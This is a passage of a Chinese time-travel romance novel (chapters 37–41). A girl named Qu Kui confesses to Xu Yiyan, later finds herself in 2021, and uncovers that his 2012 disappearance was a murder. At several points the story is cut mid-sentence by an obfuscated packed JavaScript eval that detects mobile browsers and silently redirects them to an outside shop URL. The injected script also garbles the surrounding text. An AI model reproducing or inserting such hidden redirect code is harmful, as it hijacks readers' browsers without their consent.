话音落下,曲葵踮起脚尖,在他的嘴唇上轻轻碰了下,浅尝辄止,一触即分:“许一宴,和我在一起吧。” 海底的鱼跃出水面,再降落,他看见自己的血与肉在心脏的起伏跳动下盛开出花。 37.下坠 轮船到达海岛已经是傍晚,海水经过太阳照晒,变得有些温热,翻涌的浪花拍打礁岸,迸裂的水花在夕阳下折射出淡淡的彩虹,橘红色的光带延伸至海洋镜头,连着天空。 这场逃亡并非一无所得。 岛屿上的酒店餐食昂贵,自助餐琳琅满目,曲葵只要多看一眼许一宴就默默拿起来,最后盘子装满食物,又被曲葵在睁着一大一小眼睛的服务员注视下,不好意思地放回去大半。 饭后他们在海滩上行走,刚确定恋爱关系,每个亲密举动似乎都小心翼翼,刚开始分得很开,最后不由自主挨在一起,指尖相勾,缠住,紧扣。即便没有说话,心意也相同。 岛上的沙滩不像浅海那样金黄柔软,遍布海水冲刷出孔洞的石头,天色暗沉,明月当空,曲葵跳上块巨大的黑色礁石上,在翻涌的潮声中说:“你知道吗,许一宴,刚才在轮船上,我忽然想起从前的一个梦。梦里,我和你在纸折的小帆船上,下方是滚动的玻璃海水。我问你我们要去哪,你说,去梦的尽头。” 许一宴:“然后呢。” “然后啊,”曲葵拖着腮,“然后梦就醒了。” 许一宴笑了声,道:“其实我也做了个梦。” 曲葵故作惊讶:“说说看。” “那个是我经常做的噩梦,梦中我是小孩子,回到了七岁前住过的老式小区,幻化成我妈的怪物总是盯着我。然而有天忽然有个姑娘一把拉开了我无法拉动的窗帘,我才知道外面是明亮的。她带我走出了房子,可是,梦中的一场流星雨,让我和她走散了。” “当然,后来我在另一个梦中,又遇到了她,他她说回到过去找我,但我不知道这是什么意思,只是觉得很奇怪。” 曲葵注视海水:“梦里面人说的话,应该都不可信吧。” “也许吧。”许一宴没有反驳,“但我还是选择了相信,因为那个人是你。” 因为,那个梦把你带到我身边。 曲葵从礁石上跳下来,对许一宴伸出手:“要去海边走走吗?” “嗯。” 手提着鞋,脚底浸没在海水里,曲葵俯下身,在水中摸索。她捡到一只海螺,占据半个手掌,白色,点缀着波浪型棕色花纹,有很多凸起的棱角。里面的生命已然消逝,也许是因退潮后暴露在空气中导致脱水,或温度骤变而死。 她将海螺放到许一宴手里:“送你了。” 许一宴接过去,手指在花纹上摩挲:“其实我觉得自己就像这个海螺,活着的时候永远都在深海里,只有死后无法吸附在海底,才会被浪潮推到沙滩上的可能。” 曲葵拉住他的手指。“你看,我们眼前的这片海,或许已存在过上千万年,水中的生物迭代,繁衍,生生不息。可每个生命都会迎来死亡,你我也是,所以本质上,我们和水中的生物并没有什么区别,都是在向死而生。” “而且,谁说你只能被推着走,和我一起来到这里,不就是你主动脱离了原本的生活轨迹吗。” “许一宴,你可以掌握你自己的命运。” 相扣的十指用力,用力到关节发白,颤抖。好像只要松手,眼前人就会消失似的。 “我可以拥抱你吗。”良久,许一宴说。 月色下,曲葵无声向他张开双手,下弯的眼角已显露此刻她心情很好。 许一宴上前,用力拥住她。 只是一个普通拥抱,他觉得自己得了瘾,时间再久都不够,海岸上风推着浪潮没过脚踝,冰凉浸入神经,才使理智回归。许一宴瓮声瓮气:“明天回去的时候,你陪我去一个地方吧。” 他们走了很远,回来时繁星在头顶,冬天天空高远空旷,星空不如夏夜繁多,但在远离城市灯光的地带,依旧能看得很清晰。月光将人影投在地面上,是两个互相靠近的影子。 曲葵忽地拉住许一宴衣摆,语气难掩惊讶:“你看!那是流星吗?” 许一宴抬头,天幕上飞快划过几颗尾迹带着白光的星光,从头顶飞快划过去,像一场梦。 曲葵说:“听说看见流星的时候许愿会很灵,你有没有许愿。” 许一宴:“没有。” 曲葵轻哼:“我许愿了。” “我希望你,永远快乐,平安如意。”她在夜色中注视他,放轻了声音,“虽然我知道这么说可能会让你感到不开心,但我还是自私地想让你和我一起,好好活下去。” 她朝着许一宴抬起手,露出一截小拇指,“如果你同意,就和我拉钩吧。” 要是时间永远停驻在这个时候就好了,不用回忆过去也不用回望将来,可是天总是会亮,梦中的人也该醒过来。 日出后两人乘坐游轮回到岸上,回扬明坐的是火车,比大巴快了一个半小时。达到时是上午,曲葵请了假,只有晚上曲林打电话过来问她在哪,曲葵老实回答自己和朋友去海边,曲林在电话那头思索了下,没骂她。 而许一宴在两人离开扬明前,就给王范打过电话,说明自己没有参加竞赛是因为生病,王范在电话那头感到无比可惜,最终说:没事,成绩再好也没有身体重要。 火车站打的,出租车最终在一幢老旧,喷着黑色“拆”字的筒子楼路口前停下来,扬明今日依然天阴,层层叠叠的乌云似乎为楼房投下一道阴霾,墙壁石灰粉脱落,露出灰色砖块,壁缝中长出的杂草已经枯萎了。 “这里是?” “是我小时候住过的地方,听说要拆了。”许一宴牵着曲葵的手,“看上去是不是很阴森,你怕吗。” “那你可就小看我了。”曲葵哼道,“我什么恐怖片没有看过。” 话是这么说,许一宴还是拉紧了她的手臂。 楼道平时就阴暗,阴天更是漆黑无比,声控灯的塑料罩壳脱落,早就停止运作,杂物到处堆放,跟探索鬼屋没什么区别。 一楼,二楼,三楼。许一宴停住脚步。 曲葵说:“我们是不是到了。” “嗯。”许一宴低声答。 铁质钥匙探进锁孔,旋转,扭动,随着咔嚓一声,门开了。露出了黑暗的客厅,哪怕时隔多年也未曾踏足,灵魂仍感到颤栗,是刻在骨子里的恐惧。 咬紧牙关,垂在腰侧的手不由自主的握紧,关节泛白,颤抖。有一道温暖的掌心贴上手背,安抚性地拍了拍他。猛然回头,曲葵站在身后,面露关心神色:“不要勉强自己。” “没事。”许一宴摇摇头,抬脚,走进去。他知道,自己这一步究竟花了多大勇气。 房屋里早已闻不到血味,只有阴暗处地面发霉的气息,天花板上挂着蛛丝,摇晃。若不是灰尘遍布家具,一切看起来与当年没什么区别。 房子没有供电,开关已然失效,拉开窗帘,灰尘漫天起舞,好歹能微微看清楚房中一切。 曲葵沉默跟在他身后,发现这间屋子里的摆设与布局与那个梦一模一样。进门右侧是客厅,客厅连接厨房,另一边是两个并排的房间。她确实提前来过许一宴住过的地方。 许一宴独自走进自己房间,地面有一大块地方布满了灰尘,他知道那里曾经铺着血,当然,现在已经看不到了。 呼吸有些急促,但他知道身后有曲葵,所以很快就调整好了。 许一宴深深吸了一口气,睁眼的那一刹那,似乎看到了过去的自己,小小的他站在他的面对,手中抱着毛绒小熊——还是曾经母亲送他的礼物。 他对他说:“你回头呀。” “回头呀,她在等你。” 而当他回过头,看到的是曲葵,女孩只是默默站在房间外面,那时不知怎么的就出了太阳,斜斜地从窗户外射进来,她正好站在被光照亮的那一片地面上,灰尘在飞,她的脸被照得很亮。 “你还好吗?”她的睫毛落上去淡淡的光辉,衬得眼睛也亮,“要不要给你个抱抱。” “嗯。” 拥抱她,就好像拥抱到了太阳。 是了,她早就是他的太阳了。 哪怕往日阴影依旧笼罩在头顶,如影随形,也挡不住他打破将自己与外界阻隔开的玻璃,走向她,向未来迈出第一步。 *** “我靠,发消息不回,打电话不接,去家里找人又不在,我tm还以为你两去私奔了,你们两简直……是不是真一辈子不回来了,心里还有没有我这个朋友!” 学校操场,刚从田径场下来的朱覃,一见着面前两人,火气忍不住上涌,“还有你许一宴,你他妈到底怎么了,你没来这两天,学校的谣言都穿到你跳楼的离谱版本了。” 许一宴腕上伤口没完全好,结了痂,被宽松的校服袖子盖住。他一言不发,显然不打算告诉朱覃他精神上的那些事情。 当时事情紧急,曲葵一心急把朱覃给忘了,回扬明才想起来,的确应该给他回个电话。 “抱歉啦。”她朝朱覃道了声歉,“你给我打电话那会,我正在爬墙,空不出手来接。不过许一宴没事,就是发烧,现在已经好了……哈哈……”说的话自己都没信。 “爬墙??”朱覃显然没get到重点,“爬什么墙?嘶……让我思考下,你是不是在说什么网络新词汇。” 曲葵思考怎么向他解释是字面意思,朱覃忽然上下打量,挨得很近的两人,露出恍然大悟的神情:“不会吧,你俩这是真谈上了?” 曲葵:“呃……”她怎么感觉自己跟不上朱覃的脑回路,朝许一宴投去疑问的眼神:要说吗? 许一宴摇摇头,回以表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073583|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情:他知道等同于全部老师知道。 许一宴只在曲葵面前露出真实那一面,站在朱覃面前,仍旧冷淡得像是好久没晒过太阳,他轻轻扯扯曲葵后领,抓住她胳膊,说:“走了。” “到底有没有啊!”朱覃在后面喊。 被拉走的曲葵回头朝他做了个拜拜的姿势。 元旦节后,气温骤降。 翌日,普通平常的一天,天空在晚自习开始后半小时变的阴沉无比。 随着天空骤然响起的一身闷雷,整个学校陷入黑暗。 “停电了?” “吓我一跳,还以为发生什么事了。” “哇哦,这个场景,让我想到了《生化危机》。” “别说了,吓人。” …… 教室里响起学生议论纷纷的声音,还能听见隔壁教室传来鬼似的嚎叫,个别学生问:“老师,这都停电了,不能提前放学吗?” “同学们先上自习吧。”科任老师原本在讲题,无奈放下试卷, 几个班的老师站在走廊上讨论学校有没有发提前放学的通告,班上几个班委轮流维持秩序也无济于事,架不住学生对突如其来停电夜晚的新奇劲。 闪电与雷声接踵而至,雨声哗然几乎要盖住议论声。不少前后桌已经聚在一起讨论鬼故事和电视频道的午夜场了。 前桌学生转过身来,兴奋地问:“欸,你们有没有看过那部电影:男主不停穿到过去,想通过改变童年悲剧,来改变未来。没想到所有改变都需要付出相应的代价,最后他发现自己是多余的那个,然后回到婴儿时期,掐断了和母亲连接的脐带。” “你说的是《蝴蝶效应》吧。” “你也看过啊!”“所以蝴蝶效应是什么意思?” 曲葵摇摇头,并未加入讨论。她朝后望去,在同组后排寻找许一宴。 闪电照亮教室,两人在被短暂照亮的空气中对上视线,许一宴起身,朝她走过来。 路过曲葵,教室重新陷入黑暗,两人双手交缠,一触即分。曲葵发现手中多了一张纸条。她抬起头,许一宴走出了教室。 不知为何,曲葵的心跳漏了一拍。 半分钟后,许一宴进来,站在讲台上说:“同学们不用着急,老师说学校的应急电力已经在启动了,估计5分钟后就会有电。” “啊,什么鬼啊,还以为能提前放学!”抱怨声此起彼伏。 闪电划破沉重黑夜,电光朝两端持续而下,消失在楼房背后,漆黑无比的教室被短暂照亮。曲葵对上了许一宴的视线,他站在讲台旁,眼神却一直在她身上。在雷鸣响彻的教室里,看得不够真切。 黑暗重新降临,曲葵将张纸条放到桌上,展开,却看得不清晰,只觉每个字的末端都透着刀锋式的寒意。 头顶的灯光闪烁了两下,来电了。 光芒重新照亮周围环境,夹杂学生些许失落的窃窃私语,曲葵也清了纸条上面的字迹。 ——如果我在未来死去,你会不会救我? 曲葵心中好似响起了万道钟声,在他还没来得及去思考这句话的含义时,周围画面忽然开始扭曲。手上捏着的纸条,字迹在跳动,曲葵猛然从座位上站起。 身后板凳晃动,倒在地上,她不管不顾,朝许一宴的方向走去。耳边,嘈杂的雨声和雷声震耳欲聋,唯有心跳与呼吸声震耳欲聋。 许一宴站在原地没动,脸上带着明显笑意,可他的脸在扭曲,挤压,逐渐变成陌生的不属于他的五官。 曲葵站在他的面前,猛然伸手攥住了他的胳膊,急切叫道:“许一宴,你给我的纸条!……” 她的声音戛然而止。 一切变了。 她现在不在2012年扬明高中的教室里,电闪雷鸣的响声全都停止,头顶的灯光明亮,照着米白色地面,照着她有些苍白惊恐的脸。 手心捏着的纸条已然消失不见,取而代之的是一沓复印纸。 “曲老师,你没事吧?”对面的男人开口说话,音色却变了,不是许一宴的声音。 曲葵松开手,踉跄后退,头痛欲裂,是涌现的记忆。手中的复印纸哗哗落地,宛如漫天纷飞的枯黄树叶铺了一地,她扶着墙壁,俯身调整呼吸,重新看着自己刚才抓住的陌生男人,苦笑。 “抱歉,我认错人了。”说完,蹲下身去捡地上的纸页。 一张张映入眼帘,横线,音符,各种谱曲。 她不顾男人询问,只将地上纸张捡起,一股脑塞进挎肩包。 一路顺着楼梯往下走,走到无人处才在包里寻找手机。 颤抖手指连划几下,解开锁屏。 打开日历。 年份,2021年。 38.暴雨 “您拨打的号码暂时无人接听,请稍后再拨。” “您拨打的号码暂时无人接听,请稍后再拨。” …… 不知道打了过去多少次,才终于被接起,那头传来温和的,彬彬有礼的女声。 “喂,你好,请问找我有事吗?” “不好意思,打错了。”曲葵摁断电话,手指发抖,手机摔在地上,捡起来的时候屏幕上裂了一大块。 世界在旋转,心脏在下落,下落,下落,直至无可再落,如手机那样重重砸在地面上,摔得稀巴烂,血液噗嗤朝四面挤压,一地血红。 怎么还是换人了。 不应该是这样的。 明明已经约定好,明明已经在海边拉钩,怎么可以失约。 头痛欲裂,未参与过的九年空白记忆在短短时间内侵蚀大脑。 转学,搬家,和许一宴约定常联系,搬家前的最后见面,乐队朋友的相送……读大学,毕业,在一家琴行当助教。 但是,还差了些什么。 回来的时间与第一次相差无几,大冬天的潼林市,市区地面积了层厚厚的雪,除了拔地而起的钢铁高楼,几乎分不清天与地面的间隙在哪里。曲葵穿着长款羽绒服,戴着帽子围巾和手套,冻死人的风依旧无孔不入。 她站在浑白空气中,好像失去对冷的感知,只是机械地上下翻动手机。 打开置顶对话框的一刹那,残缺的记忆好像才补全了。 刚搬家,她与许一宴每天都要打视频电话,从晚上十点到十二点,大部分是她看着视频那头的许一宴写作业。潼林有所很好的本科大学,许一宴决定考过来。 他说:“我真的很想你,每天都想要见到你。” 互相道晚安和早安的时间并未持续太久,四个月后,忽然联系不上许一宴了。 打电话没有人接,发消息没有人回,她给班主任给朱覃打电话,得到的回答都是失踪了。 怎么可能是自杀。 还是许一宴骗了她。 暴雨声中的不安感还没有消失殆尽,夹杂着几分喜悦又被心中迟来巨大悲恸剧烈包裹,刹那一口气没喘上来,曲葵弯下腰,捂嘴剧烈咳嗽,上气不接下气,咳得肺管子都快吐出来了。忽觉手心温热潮湿。 摊开一看,是血。 不可能是自杀! 许一宴根本就不可能是自杀!! 手机的一直在响,屏幕亮起,消息叮叮咚咚。 琴行老板发消息问什么时候能把复印的考级乐谱拿回来。曲葵甚至没去看一眼。 她发了疯似去街上拦出租车,回家。 她想起了……许一宴给她的那张纸条。 手心的血干了,嘴角的血迹还挂在唇上,衬托脸色惨白,司机师傅热心地问要不要去医院,曲葵只是重复着回家的地址。 上楼,开门,进房,翻箱倒柜。 在哪里。 在哪里! 到底在哪里!!那张纸条。 曲林不在家,曲葵拉开抽屉,打开衣柜,掀翻很久没整理过,高高摞在衣柜上的陈旧课本,可力气不够,举过头顶的手一松,课本天女散花似的砸在她头上,砸的她眼冒金星。 胸口闷痛,分不清是不是一时间涌入太多情绪导致的。 曲葵在靠近床边的抽屉,曾经摆放许一宴在搬家前送给她的装项链的小盒子里找到了。 ——如果我在未来死去,你会不会救我? 字迹清秀隽逸,却已泛黄,皱巴巴的,不难想过去曾被打开过多少次,也许被揉成团扔进垃圾桶,又被重新捡起来,压平。 曲葵只是拿起来看了眼,就从中间裂开了。 有些东西,只能回扬明才能得到证实,她给琴行老板打电话:“我想请几天假。” *** “你可以过两天和我一起回扬明,怎么突然去这么早。”曲林在电话里问。 曲葵站在登机口:“我想起一点事情,想要早点回去。” “不会是因为……你那个男朋友……”曲林的声音变得迟疑,似要劝又不知道如何劝,话说过太多遍,虽然曲葵一次也没经历过,“你这些年,一直没忘记么。人还是,要向前看的……” “不是。”曲葵打断他,“我只是去找一个人。” “爸,我很好,真的。” 手机关机,高空中漫长的飞行时间,曲葵睡着了。 下飞机,她马不停蹄坐车回扬明,又去花店里买了一束花,去公墓。在同样的位置,找到记忆里一模一样的墓碑,曲葵将花放在祭台上。 离开公墓,曲葵给朱覃打电话,对方接到她的电话,沉稳的声音听上去有些讶异:“你回扬明了?难得,来看他的。” 曲葵开门见山,“我去找你,有事和你说。” “什么事不能在电话里说。” “关于许一宴的。” 朱覃沉默一瞬:“等我下班。” 傍晚,等了几个小时的曲葵看见朱覃从警局出来,一身警服,和上次没什么区别。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲葵还没有适应现在的生活,那张纸条上的内容始终萦绕在心口,怎样都放不下。可是无论怎么尝试,把过去海边拍过的视频一遍遍播放,始终也没有发生再次回到过去的奇迹。 某天,扬明市某天晚上下了场暴雨。降雨持续三天,淹没道路和花坛,也将天堂湖那片长着向日葵的泥土冲到了石板路上。 多年前掩埋在泥土中的真相,得以见到天光。 39.真相 “近日,各省份局部地区出现特大暴雨……扬明局部1小时雨量达165.1毫米,达2021年A省721特大暴雨最大雨强的2/3,24小时最大雨量接近500毫米……” 一连过去几天,短视频app上还能刷到各种暴雨的视频。 快下班时,曲葵接到朱覃电话。 “你说的那些话,是对的。”朱覃说,听得出他在抽烟,时不时就有一道轻微的呼气声顺着听筒穿进曲葵耳朵,让朱覃的声音听起来更加沙哑,“确实不是自杀,是他杀。” *** 天堂湖栽种向日葵的那片小山坡,因为扬明那场特大暴雨,红泥被水流冲到道路上。雨后清晨,环卫工人来打扫路面,顺便将被雨水打倒的向日葵从地里清理出来。 挖土机翻动泥土,一截森白的东西从半空随着潮湿的泥土掉落。 环卫工李让拿着铁锹,双腿陷在泥里,将铺在路上的红土铲进地中,不经意间看见泥土上有截白森森的东西。 他对着挖土机上的工人叫道:“ 诶,你先等下,我去看看地是个什么东西?” 捡起来,很长一截,沉甸甸的,白里翻着红,是根骨头。看上去太长了,不像是猫或者狗的。 “坏了,这东西怎么看着像人骨头。”李让看越看越心惊,念头初生,他被吓得一激灵,白森森骨头从手里脱离,重新掉在土里。 他对同事喊:“你别在上面坐着了,赶紧下来帮忙。” 两人拿着铁锹,在刚才铲斗挖过的那片泥土挖了大概两米深。 红泥地里,破损的绿色编织袋,几节白森森的骨头暴露在两人瞳孔中。 两人面面相觑,李让壮着胆子上前,用铁铲翻开了破损的编织袋,头骨上两个空洞洞的眼眶,静静瞪着他。 “我草!!!这他妈是人啊老李!这下面埋着死人!!!”同事吓得丢了铁锹,一屁股坐在泥地里 “小声点,别嚷嚷。”李让先回神,手忙脚乱翻找手机报警。 …… 朱覃昨天又和女朋友吵架了,他没回家,局里和同事换了班。这几年他没放弃调查许一宴失踪的事,后来曲葵对他说的那话,更加笃定内心的想法。 他翻了当年的案卷,没有什么头绪。那会儿的监控没现在先进,街道上的摄像头特别少,更别提郊区和小巷子里。 唯一的录像,是许一宴从小区出去,走到十字路口,绿灯后穿过马路,就没有再看到过。 清晨,泡面刚泡开,热气腾腾。没来得及吃上一口,电话就响了,听声音是个中年男人,急匆匆的说在天堂湖发现了尸体,朱覃噌地站起来,泡面汤差点泼到自己身上。 到天堂湖,几个环卫工人围在一起,穿着来荧光橘环卫工作服的工人迎上来:“警察同志,你们终于来了。” “尸体在哪?” “这边,喏,那个坑里。我们发现后就没敢动,怕破坏现场,一直在等您过来。” 雨没停多久,泥土潮湿,一踩就往下陷,朱覃带着手套,朝工人所说的坑洞看去,当警察这些年他见过不少尸体,没有一次像现在这样,看到后心中感到难以适从的恐慌感。 仿佛已经提前知道那是谁。 朱覃第一时间看了白骨的DNA检测报告。 法医:“头部有钝器击打痕迹,虽然头骨有轻微的凹陷和裂痕,但这个不是致命伤口。致命伤在胸口附近,心脏下方肋骨有条挫痕,应该是奔着心脏去的,从上而下的角度,但力气用的太大,把下方的肋骨都划出了痕迹。” 朱覃没说话,几张薄薄的复印纸捏在手里,骨节泛白到纸张上下轻颤。 “就是这个死亡时间不好判断啊。”法医头疼,“不好说,一般尸体完全形成白骨化需一年左右。但天堂湖那块土天天风吹日晒,还时不时遭雨淋,扬明夏天本来就热,泥土里微生物繁衍速度加快,可能10~30天就白骨化了。” “九年。”朱覃说。 法医惊讶:“覃哥,你怎么看出来的?” “这个人,”朱覃没能一口气说完,强烈泪意打断了想要说的话,他重重出了口气,才能找到声音,“这个人是我朋友。” 朱覃在法医目瞪口呆的注视下说:“他2012年失踪,如果失踪的时候就已经死亡,到现在刚好九年。” 老化的编制口袋里有作案工具,一把长达30厘米的水果刀,被一起埋在潮湿土壤里,锈迹斑斑。 即便确实他杀又怎样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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现在,曲葵终于明白为何在玻璃海上,许一宴为何会对她说:到过去找我。 以及那张塞进她手心的纸条的寒意。 许一宴也许早在那些看似荒唐事情:奇怪的梦,她的突然靠近,种种看起来好像巧合,又很荒谬的事情中慢慢觉察到自己的未来。 她的命运,从初次回到高中时代的开始,唯一目的,就是将他带回来。 40.天光 2011年,扬明西城派出所接到一起报案。报案人是扬明高中的一个高三女学生,称自己在24路公交车上看见了省外通缉的嫌疑人,并详细描述出该人此刻的穿着和外貌。 警方在距离终点站还有两站的路口将下车的嫌疑人抓住,经过肖像对比,确实是同一个人。 “警官,你们是不是抓错人了?!!我就是坐公交去超市买点生活用品,怎么就抢劫了!!”男人被两个警察按在地上,不停反抗,“还有没有王法了!你们没证据怎么能随便抓人!救命啊!救命啊!!” “有没有证据,等会你就知道了。” 男人双手被反拧在背后,咔嗒一响,反抗随着利落合上手铐的戛然而止。 女孩站在马路对面,冷漠注视男人灰头土脑被按进警车中。 嘭,车门关上。 手机在掌心中转了个圈,下一刻落进衣服口袋。她转身,朝与警车行驶的相反道路步行走去,背影越来越远,直至融进川流不息的人群。 *** 最后一次来到许一宴梦境,曲葵从弯曲的透明玻璃望见一片漆黑天幕,寂静,遥远,无边无际。坐起来,曲葵发现自己躺在不知道在什么的地方,身下是干燥的灰黑色沙土。 她爬起来,视线自上而下,最终定格在远方高低起伏的灰黑色山脉背后。 那儿悬浮着一个巨大星球。 可以清晰看清楚星球上的颜色,蓝绿白。蓝色是或蜿蜒或大片广阔的海,绿是高低起伏的山脉和平原,白色则是漂浮在的云。 “那是地球吗。”曲葵感叹,“他这次到底做了个什么梦啊。” 对了,在许一宴所在的2011年时空,才刚发生过天宫一号目标飞行器发射,在不久将来,即将实现神舟八号与天宫一号成功对接。 看来许一宴很喜欢航天事迹嘛。 正想着,身上的通讯器嗡嗡响了两下,接着是悦耳男声:“你在哪呢?” “啊?我在外太空。”曲葵穿着沉重的太空服,拍了拍头上的玻璃罩,“我应该在月球上。” 许一宴沉默了半分钟,久的曲葵忍不住干笑两声,他才道:“你不是和我一起来的吗?算了,你别动,我来找你。” 曲葵:“哦。” 她站在荒芜广阔的星球上,听不到周围半点声音,很快视线尽头的黑幕里出现一个白色身影,摇摇晃晃,蹦蹦跳跳来到她面前。 是穿着太空服的许一宴。 他隔着玻璃深深凝视曲葵,声音沉闷,“把手给我。” 曲葵被他拉住手,问:“现在要去哪?” 许一宴指向地球下一座凸起的黑色山脉:“去那。” 抬起的鞋底接触地面,身体轻盈腾空而起,落地失去平衡,双膝着地就跪了上去,许一宴正巧回头,看她这模样,愣了一下,脱口而出:“你不用对我行这么大的礼。” 曲葵:“……” 曲葵:“拉我一把,我站不来啊!” 这梦,怎么连太空重力都模拟出来了。 许一宴无奈走过来,把她从地上扶起。月球的引力是地球的1/3,稍微用点力,就能腾空而起。一路磕磕碰碰,跌跌撞撞,曲葵总算爬上了小山丘。 曲葵新奇眺望远处,看见漆黑色的高空中有一颗白色物体缓慢划过,她问:“那该不会是天宫一号吧。” “是。” “什么!” 许一宴没搭理她的一惊一乍,喃喃道:“也不知道能不能对接成功。” 曲葵:“肯定可以。” 许一宴睨她一眼,“你又知道了。” “我当然知道,因为我见过。”曲葵轻声说,“就在不久将来,全国人都能在电视上看见这个重大的历史进程。” 身旁忽然没了声音,曲葵回首,发现许一宴手里握着一面不知道从哪变出来红旗,曲葵思忖片刻,问:“我们是不是要把红旗插这儿?” 许一宴把红旗递给她,“你来。” 寂静无声的星球上,那抹红色在黑色里越发鲜艳。两人沉默并立,仰头注视高高树立在外太空土地上的鲜红色,亮得好像站在哪里都能看见。 “许一宴,你有梦想吗?”曲葵问。 许一宴摇头,“我不喜欢梦想所带来的不切实际的感觉。但,如果只是一个小小的愿望的话,我希望,能和你成为朋友。” “就只是朋友?” “如果可以,我恨不得……”许一宴的话戛然而止,他沉默了几秒,察觉到什么似地问:“你今天为什么会说话。” 曲葵挑眉:“什么意思?” “不管我做了什么梦,”许一宴说,“我总是能在梦的某个角落找到你,大部分时候你背对着我,只是一个背影,无论怎么绕,都看不到看你的脸。有时候面对着我,却又离得很远,让我怎么也走不到你跟前。” 曲葵猛地拉回目光,“你知道这是梦?” “一开始不知道,后来听到了你的声音,我才知道这是个梦,毕竟我们在学校里从来不说话。其实有很多次,我都想主动和你说话,可当你看着我时,我却忘记要说什么。” 他好像确实将曲葵当成了梦中人,“我喜欢你两年多了,可你好像有男朋友。总是在放学的时候成双入对,真讨厌。” 许一宴的语气有些失落,此刻他看着曲葵,但那双本该是明亮无比的眼睛,隔着两层玻璃,藏着情绪越发晦暗不清。 他含着期许的语气隔着真空,从通讯器中传来,“多来我的梦里吧,曲葵。” 曲葵反驳:“我没有男朋友。许一宴,其实无论是梦里的我,还是现实世界的我,其实都……” 正说到紧要关头,喜欢两个字还未说出口,一颗陨石重重撞在月球上,脚下剧烈震动,冲击波瞬间将两人掀到外太空,再一个眨眼的时刻,他们在宇宙中朝地球坠落。 一面是寂静漆黑的宇宙图景,一面是蔚蓝如海的星球。此刻两人在浩大遥远的世界,只是渺小的,两颗分离的白点。 身上的宇航服变成扬明高中蓝白色校服,宽大校服灌进风,鼓起来,像吹涨的气球。曲葵发带在自由落体时被狂风吹落,变成飞鸟。 飞鸟羽翼划破向她靠近的许一宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081675|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,血珠从伤口析出,延展成一条红色的丝线,从许一宴用力朝她伸出的指尖坠向曲葵。丝线落在曲葵手上,宛如被赋予生命似的主动开始缠绕她的胳膊,牢牢绑住。 两人距离因红线拉进,两只向彼此伸出的手,距离越来越近,五米,一米,一厘米,直到紧紧相握。 “曲葵,我抓住你了!!” 许一宴抓住她,降落速度也变得缓慢,曲葵睁开双眼,身后的月球轮廓越来越远,眼前广阔的大陆与海洋越来越近,她与许一宴好在在此刻变成了两只离群却彼此交缠的鸟,翱翔在高空。 “我刚才撒谎了,曲葵,你就是我的梦想,我喜欢你。”她听见许一宴说,他的声音快被气流吞没,传到她耳朵里变得无比清晰。 于是她用力地大声回应:“我也喜欢你,许一宴!无论是在梦里还是在现实,我都爱你。” 两人在空中拥抱,降落,降落,并未在落地时刻砸得粉身碎骨,身下先是陷进富有弹性的巨大气球,被弹得很高,又重新落下。 曲葵爬起来,摇摇晃晃只能抬平双手稳住身体平衡。落地的那瞬间许一宴就和她分开,她四处张望,看到刚站起来也在寻找自己的许一宴。她朝他挥手。 “许一宴,我在这里!!我……”摇晃的手僵住,许一宴看过来,目光定定落在她这,他看见她了,想要走过来。 这时曲葵看见头顶的深黑色在一块块剥落,有刺眼的光芒从落下的黑色碎片背后照射进来。 梦境在坍塌,是这个时空的许一宴要醒过来了。 眼前的许一宴身影逐渐模糊,曲葵朝他走去,距离看起来从未变过,曲葵只能用双手在唇边做出喇叭状,竭尽全力喊:“我的时空在未来八年!许一宴,我根本就不是你做的梦!我是从未来过来找你的!” “许一宴!!如果你还记得我。” “一定要去未来找我好吗!!!” 她的叫喊声并没有得到许一宴回应。她看见许一宴朝她张了张口,好像想要说什么。但眼前美好明亮的世界霎时被关停了,随后陷入漫长黑暗,那滴离开曲葵眼角的泪水悬浮在虚无中。 她在黑暗里喃喃自语。 “许一宴,一定要好好活下去啊。” “因为,未来有我在等你。” 漂浮的眼泪重重落下,曲葵脚底出现空洞,她朝着无穷无尽的时空暗流坠落,那些与许一宴相处的种种过往全被塞进拉长展开的黑底胶片里,一条条环绕在她身边。 某一刻,过去的时空与未来短暂交叠,曲葵站在寂静的路灯下,看见过去的她背着吉他朝小巷子外奔跑。曲葵看见她若有所思地停下,转身朝曲葵所在的方向望过来。大抵什么都没有看见,她暗自低语,重新将头转过去。 画面在飞逝倒退,拉长,环绕在身边的三段记忆钻进眉心,永远成为她血肉的一部分。十八岁的曲葵在时空潮水中消散,二十六岁的曲葵身影逐渐显现。 下一个光景,她回到了未来。 二零二一年阳光明媚的清晨,曲葵睁开眼睛。 有麻雀落在窗台,叫声清脆。 41.尾声 城市文化区露天鸟巢,舞台灯光照亮黑夜。 